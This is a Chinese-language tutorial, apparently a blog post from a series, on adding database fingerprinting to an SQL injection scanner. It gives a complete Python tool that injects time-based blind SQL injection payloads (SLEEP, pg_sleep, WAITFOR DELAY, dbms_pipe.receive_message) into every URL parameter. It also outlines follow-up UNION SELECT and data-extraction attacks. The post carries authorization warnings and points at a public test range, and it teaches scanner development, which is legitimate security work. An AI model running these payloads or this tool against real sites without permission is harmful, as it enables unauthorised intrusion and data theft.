摘要:在本文中,我们将为SQL注入扫描引擎增加“指纹识别”的能力。仅仅知道一个注入点的存在是不够的,一个智能的扫描器必须能够识别出后端的数据库类型(是MySQL、PostgreSQL还是SQL Server?),才能匹配最有效的攻击载荷(Payload)。我们将构建一个数据库指纹识别模块,它能够利用一个已确认的盲注漏洞,通过注入不同数据库特有的函数(如SLEEP() vs pg_sleep()),并观察服务器响应的微妙差异(如时间延迟),来精确地判断出后端数据库的“方言”,从而为后续的精准打击提供关键情报。

关键词:Python, SQL注入, 数据库指纹, 指纹识别, 漏洞扫描, Web安全, MySQL, PostgreSQL


正文

⚠️ 警告:仅用于授权的教育和安全测试目的

本文及配套代码用于探测真实的安全漏洞。未经授权,对任何线上系统进行漏洞扫描都是违法行为。所有读者必须在自己的本地测试环境或授权的漏洞靶场中使用本文所学知识。

1. 不同数据库的“方言”

SQL虽然有标准,但各大数据库厂商都在标准之外,实现了大量自己独有的函数、语法和元数据结构。这些“方言”的差异,正是我们进行指纹识别的依据。

功能 MySQL PostgreSQL SQL Server (MSSQL) Oracle
版本 @@version, VERSION() version() @@VERSION v$version (from)
当前用户 USER(), CURRENT_USER() current_user, session_user SUSER_NAME(), USER_NAME() USER (from dual)
延迟 SLEEP(s) pg_sleep(s) WAITFOR DELAY '0:0:s' DBMS_PIPE.RECEIVE_MESSAGE('a',s)
注释 #, -- -- -- --
字符串连接 CONCAT(s1,s2) s1 || s2, CONCAT(s1,s2) s1 + s2 s1 || s2, CONCAT(s1,s2)

2. 基于响应的指纹识别技术

  • 基于错误:这是最简单的方式。如果目标存在基于错误的注入,其返回的错误信息通常会直接包含数据库的名称,如"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version..."

  • 基于时间(我们的重点):在盲注场景下,时间延迟是最通用的指纹识别方法。我们的逻辑是:依次尝试各个数据库的专属SLEEP函数,看哪一个“命令”被成功执行了。

    • 尝试MySQL的SLEEP(5) -> 如果响应延迟了5秒 -> 目标是MySQL。

    • 如果没有延迟,再尝试PostgreSQL的pg_sleep(5) -> 如果响应延迟了5秒 -> 目标是PostgreSQL。

    • ...以此类推。

3. 完整代码实现 (db_fingerprinter.py)

我们将创建一个独立的模块,它接收一个已确认存在盲注的URL和参数,然后返回数据库类型。

Python

# db_fingerprinter.py
import requests
import argparse
import time
from urllib.parse import urlparse, urlunparse, parse_qs, urlencode

# 数据库指纹库,使用时间盲注Payload
# 格式: { "数据库名称": (Payload模板, 延迟秒数) }
DB_FINGERPRINTS = {
    "MySQL": ("' AND SLEEP({delay}) AND '1'='1", 3),
    "PostgreSQL": ("' AND pg_sleep({delay}) AND '1'='1", 3),
    "SQL Server": ("'; WAITFOR DELAY '0:0:{delay}'--", 3),
    "Oracle": ("' AND dbms_pipe.receive_message('a',{delay})='a' AND '1'='1", 3)
}

def identify_database(url):
    """
    利用时间盲注,识别目标URL参数背后的数据库类型。
    """
    print(f"[*] 开始对 {url} 进行数据库指纹识别...")
    
    parsed_url = urlparse(url)
    params = parse_qs(parsed_url.query)
    
    if not params:
        print("[!] URL中不含GET参数。")
        return None

    # 我们将测试每一个参数
    for param in params:
        print(f"[*] 正在测试参数: '{param}'")
        original_value = params[param][0]

        for db_name, (payload_template, delay) in DB_FINGERPRINTS.items():
            payload = payload_template.format(delay=delay)
            test_params = params.copy()
            test_params[param] = original_value + payload
            query = urlencode(test_params, doseq=True)
            test_url = urlunparse(parsed_url._replace(query=query))
            
            # print(f"  - 尝试 {db_name}...") # 调试时可以打开
            
            try:
                start_time = time.time()
                requests.get(test_url, timeout=delay + 2)
                end_time = time.time()
                
                if end_time - start_time >= delay:
                    print(f"\n[+] 指纹识别成功!")
                    print(f"    - 目标: {url}")
                    print(f"    - 脆弱参数: {param}")
                    print(f"    - 后端数据库类型很可能是: {db_name}")
                    return db_name
            except requests.exceptions.Timeout:
                # 超时也同样证明了延迟Payload被执行
                print(f"\n[+] 指纹识别成功 (通过超时)!")
                print(f"    - 目标: {url}")
                print(f"    - 脆弱参数: {param}")
                print(f"    - 后端数据库类型很可能是: {db_name}")
                return db_name
            except requests.RequestException:
                pass # 忽略其他网络错误

    print("\n[-] 未能识别出数据库类型。")
    return None

def main():
    print("="*60)
    print("!!! 警告: 本工具仅用于经授权的教育和安全测试目的 !!!")
    print("="*60 + "\n")

    parser = argparse.ArgumentParser(description="一个利用时间盲注进行数据库指纹识别的工具。")
    parser.add_argument("url", help="一个已知的、存在SQL盲注漏洞的URL。例如: 'http://testphp.vulnweb.com/artists.php?artist=1'")
    args = parser.parse_args()
    
    identify_database(args.url)

if __name__ == "__main__":
    main()

4. 集成到扫描引擎

这个识别模块的价值,在于和我们之前的检测模块进行联动。一个完整的自动化扫描流程应该是:

  1. 运行boolean_blind_sqli.pytime_based_sqli.py:首先,确认目标URL上是否存在一个SQL注入点。

  2. 调用identify_database(): 一旦确认存在漏洞,立刻调用我们今天开发的这个模块,传入相同的URL,来确定数据库的类型。

  3. 执行精准打击: 在确认了数据库类型后(例如,MySQL),扫描器就可以从它的Payload库中,只选择针对MySQL的、更高级的Payload(如UNION SELECT或数据提取Payload)进行下一步的测试或利用。

集成示例:

Python

# 伪代码
# from boolean_blind_sqli import check_boolean_blind_sqli
# from db_fingerprinter import identify_database

# target_url = "http://testphp.vulnweb.com/artists.php?artist=1"

# is_vulnerable = check_boolean_blind_sqli(target_url)

# if is_vulnerable:
#     print("\n[*] 漏洞已确认,正在进行指纹识别...")
#     db_type = identify_database(target_url)
    
#     if db_type == "MySQL":
#         print("\n[*] 目标为MySQL,准备加载MySQL专用扫描模块...")
#         # run_mysql_specific_tests(target_url)
#     elif db_type == "PostgreSQL":
#         # ...

总结

通过开发这个数据库指纹识别模块,我们的扫描引擎学会了“因材施教”。它不再是盲目地对所有目标使用通用Payload,而是能够先“摸清底细”,然后采取最高效、最精准的攻击策略。这使得扫描的成功率和效率都得到了质的提升,是迈向专业级扫描器的一个重要里程碑。

我们现在已经能找到注入点,并能识别出数据库的类型。但如果我们的这些探测Payload,在到达目标应用之前,就被门口的“保安”——WAF——给拦下了呢?

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐